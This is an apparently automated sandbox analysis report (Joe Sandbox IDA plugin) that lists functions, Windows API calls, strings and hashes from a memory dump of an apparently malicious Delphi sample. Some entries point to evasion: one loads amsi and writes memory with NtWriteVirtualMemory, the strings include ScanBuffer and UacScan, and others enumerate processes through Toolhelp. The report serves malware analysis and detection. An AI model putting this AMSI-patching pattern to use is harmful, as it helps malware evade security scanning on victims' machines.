Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 929e45e4e21fdf11c4819c390b54e384af875b2a0042d8dc52cbe2c882ce01e0
Instruction ID: c7fde9f11f027678de523e2ebf851efc4b8af595333bc704c17a2c4068295752
Opcode Fuzzy Hash: 929e45e4e21fdf11c4819c390b54e384af875b2a0042d8dc52cbe2c882ce01e0
Instruction Fuzzy Hash: 2901F27E608B04AEF715DFA8DC2687FBBADE749B10B624835F501D2640F635D900C976

Function 02861724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000), ref: 028617D0
Sleep.KERNEL32(0000000A,00000000), ref: 028617E6

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: f445a5b58dca61d1228e5d6710f5907bc7e216565ce7494b5417c68b5155069b
Instruction ID: 2b4e05e76c870f89f3cac74fcea0811ec673b07b7cde7b95be8c7e2f6dec8c15
Opcode Fuzzy Hash: f445a5b58dca61d1228e5d6710f5907bc7e216565ce7494b5417c68b5155069b
Instruction Fuzzy Hash: 47B1227EA002818BC716CF28E88C376BBE1EB85315F1886AEE54DCB7C6C7709551CB94

Function 02878704 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 0287870D

Part of subcall function 028780C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02878148,?,?,00000000,00000000,?,02878061,00000000,KernelBASE,00000000,00000000,02878088), ref: 0287810D
Part of subcall function 028780C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02878113
Part of subcall function 028780C0: GetProcAddress.KERNEL32(?,?), ref: 02878125

Part of subcall function 02877CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02877D6C

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 0287876C

Strings

amsi, xrefs: 02878708
DllGetClassObject, xrefs: 02878732
W, xrefs: 02878719

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 941070894-2671292670
Opcode ID: 71e4ab0c6ccbb76460c9074245e7036b6103af51bbc6a3c056b97b31f5539304
Instruction ID: b44ab317dc64805c9280044c5802c9d62827f92e1d6aacc003ade07b5a3074bd
Opcode Fuzzy Hash: 71e4ab0c6ccbb76460c9074245e7036b6103af51bbc6a3c056b97b31f5539304
Instruction Fuzzy Hash: 36F0C25844C381B9E200E67C8C49F4BBFCD4B92224F048B1CB1E8DA2D2D679D104DBB7

Function 02861A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,02861FE4), ref: 02861B17
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,02861FE4), ref: 02861B31

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b43ccc2c3fcc8fc687ecbca91d41f314aa36506c60080a0538e3a171026b4f29
Instruction ID: a732921242bde975653db3d043f93749edc753202b21d94ed66ef6a0a713587b
Opcode Fuzzy Hash: b43ccc2c3fcc8fc687ecbca91d41f314aa36506c60080a0538e3a171026b4f29
Instruction Fuzzy Hash: CA519B7DA012418FEB16CF6C998C766BBD0AB46318F1885AEE54CCB3C7E7708545CBA1

Function 0287E72A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0287E86A

Strings

ScanBuffer, xrefs: 0287E7B3
Initialize, xrefs: 0287E75A
OpenSession, xrefs: 0287E80C

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 0b6e1c0987cb1879cb391a4fce5dfd9509af094d4956129ed70ef84e319fd51d
Instruction ID: afbd42b7c223309396ec588f6537a6d20f3eb1ee82b37b4fc8d136872f415eb2
Opcode Fuzzy Hash: 0b6e1c0987cb1879cb391a4fce5dfd9509af094d4956129ed70ef84e319fd51d
Instruction Fuzzy Hash: D6411D3DB501089FEB20EBA8D885AAEB7FAEF48710F214475E401E7351DA74ED058F12

Function 0287881C Relevance: 6.1, APIs: 4, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,00000000,02878903), ref: 02878850
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02878903), ref: 02878860
GetProcAddress.KERNEL32(743E0000,00000000), ref: 02878879

Part of subcall function 02877CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02877D6C

FreeLibrary.KERNEL32(743E0000,00000000,028C2388,Function_000065D8,00000004,028C2398,028C2388,000186A3,00000040,028C239C,743E0000,00000000,00000000,00000000,00000000,02878903), ref: 028788E3

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: Library$AddressFreeHandleLoadMemoryModuleProcVirtualWrite
String ID:
API String ID: 1543721669-0
Opcode ID: d90afe2c897e7e33c8ab62a6d037378ae29596df585196893df63cfaa7189c79
Instruction ID: 841f6213abebf75da4148d7af78518983770d266356b20156e593e676fc58f4d
Opcode Fuzzy Hash: d90afe2c897e7e33c8ab62a6d037378ae29596df585196893df63cfaa7189c79
Instruction Fuzzy Hash: 7711847CA40305ABE710FBBCDC0AA2E77A9EB45700F6004657A04EB7E4DB78D9008B56

Function 0286E2E4 Relevance: 4.5, APIs: 3, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantClear.OLEAUT32(?), ref: 0286E2F3

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 382f18e17581564f270b2c60ddd1b56ea66f69e7fe7fbae0cae205b822bc86aa
Instruction ID: 3dafad2343fc8b09ff201213bf983155a1b145e7d0be84347814f8df60944065
Opcode Fuzzy Hash: 382f18e17581564f270b2c60ddd1b56ea66f69e7fe7fbae0cae205b822bc86aa
Instruction Fuzzy Hash: 13F0C22C708218CBDB217B3D8B8CD7D239A5F01704B5C1426A44ADB20DCB24DC45CB63

Function 0287705C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32(?), ref: 0287735A

Strings

H, xrefs: 02877111

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: b8b17068e042b87e1a7b8b6957d12790bfd9c08043de6a150f64af3524883bb8
Instruction ID: 0d9c9f9d68cfb3fa204f77c9b5640268a8db7b24beac519487ad34c2a18169b9
Opcode Fuzzy Hash: b8b17068e042b87e1a7b8b6957d12790bfd9c08043de6a150f64af3524883bb8
Instruction Fuzzy Hash: 77B1BF78A016089FDB15CF98D884AADFBF2FF4A314F248169E919EB364D730A845CF50

Function 0286E37C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 0286E3BC

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 0acfa5264bef9156d44f6edfe0cdbf1992749bde336f1e3ba6bd8157f19de3eb
Instruction ID: a668b60997c5b969ffcb0c5e51242779cae3294fe3d5d510166eac9a1fe5f839
Opcode Fuzzy Hash: 0acfa5264bef9156d44f6edfe0cdbf1992749bde336f1e3ba6bd8157f19de3eb
Instruction Fuzzy Hash: 7F314D7EA04608ABDB10DEACC98CEBA77A9FB0C304F584561E909D7684D335D990CB66

Function 02876CEC Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,02876D39,?,?,?,00000000), ref: 02876D19

Part of subcall function 02864C0C: SysFreeString.OLEAUT32(0287ED84), ref: 02864C1A

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: abf15b4907e5f509614c174727b168e8c9fac60601eb6cc35f3bddc6238abc03
Instruction ID: 1c966b2eb3ab35c99d4ff97baf210fa0329a3d1b60cbf38fb214593c1f0f5347
Opcode Fuzzy Hash: abf15b4907e5f509614c174727b168e8c9fac60601eb6cc35f3bddc6238abc03
Instruction Fuzzy Hash: E8E0653D614714BFF721EBA9CC5596E7BAEDB89B10B514471A804D7600E675BD0088A1

Function 02865814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(02860000,?,00000105), ref: 02865832

Part of subcall function 02865A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02860000,0288E790), ref: 02865A94
Part of subcall function 02865A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02860000,0288E790), ref: 02865AB2
Part of subcall function 02865A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02860000,0288E790), ref: 02865AD0
Part of subcall function 02865A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02865AEE
Part of subcall function 02865A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02865B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02865B37
Part of subcall function 02865A78: RegQueryValueExA.ADVAPI32(?,02865CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02865B7D,?,80000001), ref: 02865B55
Part of subcall function 02865A78: RegCloseKey.ADVAPI32(?,02865B84,00000000,?,?,00000000,02865B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02865B77

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction ID: 9456f1ff5e1ed2a20f28e8c6d4636c96f448a5d1799d664a4eed741b50505064
Opcode Fuzzy Hash: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction Fuzzy Hash: 07E06579A002148BCB10DE6CC8C8AA737D8AB08B50F8009A5ED58DF34AD3B5D9208BE1

Function 02867E10 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0287FD00,ScanString,028C237C,0288B40C,OpenSession,028C237C,0288B40C,ScanString,028C237C,0288B40C,UacScan,028C237C,0288B40C,UacInitialize), ref: 02867E1B

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 81e72d02e34d49699fbcea4f3e8a1facf21165fd85f6b10d0c15ae5a9543b4f5
Instruction ID: f89ec0bd19ac1e014958f4b7656dccd1edc795d14135b25a74f16bf51b1ae5b4
Opcode Fuzzy Hash: 81e72d02e34d49699fbcea4f3e8a1facf21165fd85f6b10d0c15ae5a9543b4f5
Instruction Fuzzy Hash: 53C08CEC2122020A1A60A1FC0CCE13A5288890413D3A42F21E23CDA2E2E325882B2822

Function 02864C48 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(0287ED84), ref: 02864C1A
SysReAllocStringLen.OLEAUT32(0288C2B4,0287ED84,000000B4), ref: 02864C62

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 34a044716cc047832c89a5cdbf8a1cf543af0314eed8eb6eb3cc9569b15b6366
Instruction ID: 75dee48308bd79d89973dae2d70777f85189e5532a966645fd3b08944e6bbc14
Opcode Fuzzy Hash: 34a044716cc047832c89a5cdbf8a1cf543af0314eed8eb6eb3cc9569b15b6366
Instruction Fuzzy Hash: 23D0127C5001025DBA3C9A99854C93E626B99D070A748C299980ACA341EB329400CA31

Function 0288BF84 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,0288BF78,00000000,00000001), ref: 0288BF94

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: cba7d7dd76727bb7611cdb105db99a40c08d03f7f81900a188af4e539bd3ceaa
Instruction ID: d6191bbce070c36fbfa4216db0abe0f8906cc78dbd9e27964acdc940f4929cf2
Opcode Fuzzy Hash: cba7d7dd76727bb7611cdb105db99a40c08d03f7f81900a188af4e539bd3ceaa
Instruction Fuzzy Hash: 9CC092F87C83807EFE10A6BD2DC6F37128EDB44B01F200452BB00EE2C2D1E268508A24

Function 028615CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02861A03), ref: 028615E2

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6f07f08b8696f41568e4c2377d6892535cc7be8a9170086e5be3caf1750a58de
Instruction ID: 8331a975db242f1e97520b4f476480691fcdc519c064901f0a3199a3ef001978
Opcode Fuzzy Hash: 6f07f08b8696f41568e4c2377d6892535cc7be8a9170086e5be3caf1750a58de
Instruction Fuzzy Hash: 77F037F8B413404BDB06CF799D483166BD2EB89348F1085BEE709DBBE9E77184018B08

Function 02861682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004), ref: 028616A4

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: dffa93646924625eb4c4652f7fe769ec3d74167a0a357ccb22f2afaa7eb1521f
Instruction ID: 8fd2381e8a8eb48c8e8f1f15177c3c0d7f9df49046d410fb6f6aa1b82efe8a6b
Opcode Fuzzy Hash: dffa93646924625eb4c4652f7fe769ec3d74167a0a357ccb22f2afaa7eb1521f
Instruction Fuzzy Hash: FCF090BEF406956BD7109F5A9CC8792BBA4FB00355F154139EA0CD7386D7B0A8108B94

Function 028616E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,02861FE4), ref: 02861704

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 72f8d9e2be9a2d1b2d650c4875233ecff48916526749771658493ffd59b20421
Instruction ID: 738ff185e3c5def87f06928970f3bee90f68713b1f3d5b9aa483853048186c20
Opcode Fuzzy Hash: 72f8d9e2be9a2d1b2d650c4875233ecff48916526749771658493ffd59b20421
Instruction Fuzzy Hash: 4FE0867D3003016FD7105B7D5D8D722ABD9EB54654F284475F509DB387D7A0E8108B60

Non-executed Functions

Function 0287A954 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,0287ABDB,?,?,0287AC6D,00000000,0287AD49), ref: 0287A968
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0287A980
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 0287A992
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 0287A9A4
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 0287A9B6
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 0287A9C8
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 0287A9DA
GetProcAddress.KERNEL32(00000000,Process32First), ref: 0287A9EC
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0287A9FE
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 0287AA10
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 0287AA22
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 0287AA34
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 0287AA46
GetProcAddress.KERNEL32(00000000,Module32First), ref: 0287AA58
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0287AA6A
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 0287AA7C
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 0287AA8E

Strings

kernel32.dll, xrefs: 0287A963
Heap32ListFirst, xrefs: 0287A98A
Heap32ListNext, xrefs: 0287A99C
Module32FirstW, xrefs: 0287AA74
Process32First, xrefs: 0287A9E4
Module32NextW, xrefs: 0287AA86
Module32Next, xrefs: 0287AA62
Heap32First, xrefs: 0287A9AE
Process32FirstW, xrefs: 0287AA08
Toolhelp32ReadProcessMemory, xrefs: 0287A9D2
Thread32First, xrefs: 0287AA2C
Heap32Next, xrefs: 0287A9C0
CreateToolhelp32Snapshot, xrefs: 0287A978
Thread32Next, xrefs: 0287AA3E
Module32First, xrefs: 0287AA50
Process32Next, xrefs: 0287A9F6
Process32NextW, xrefs: 0287AA1A

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
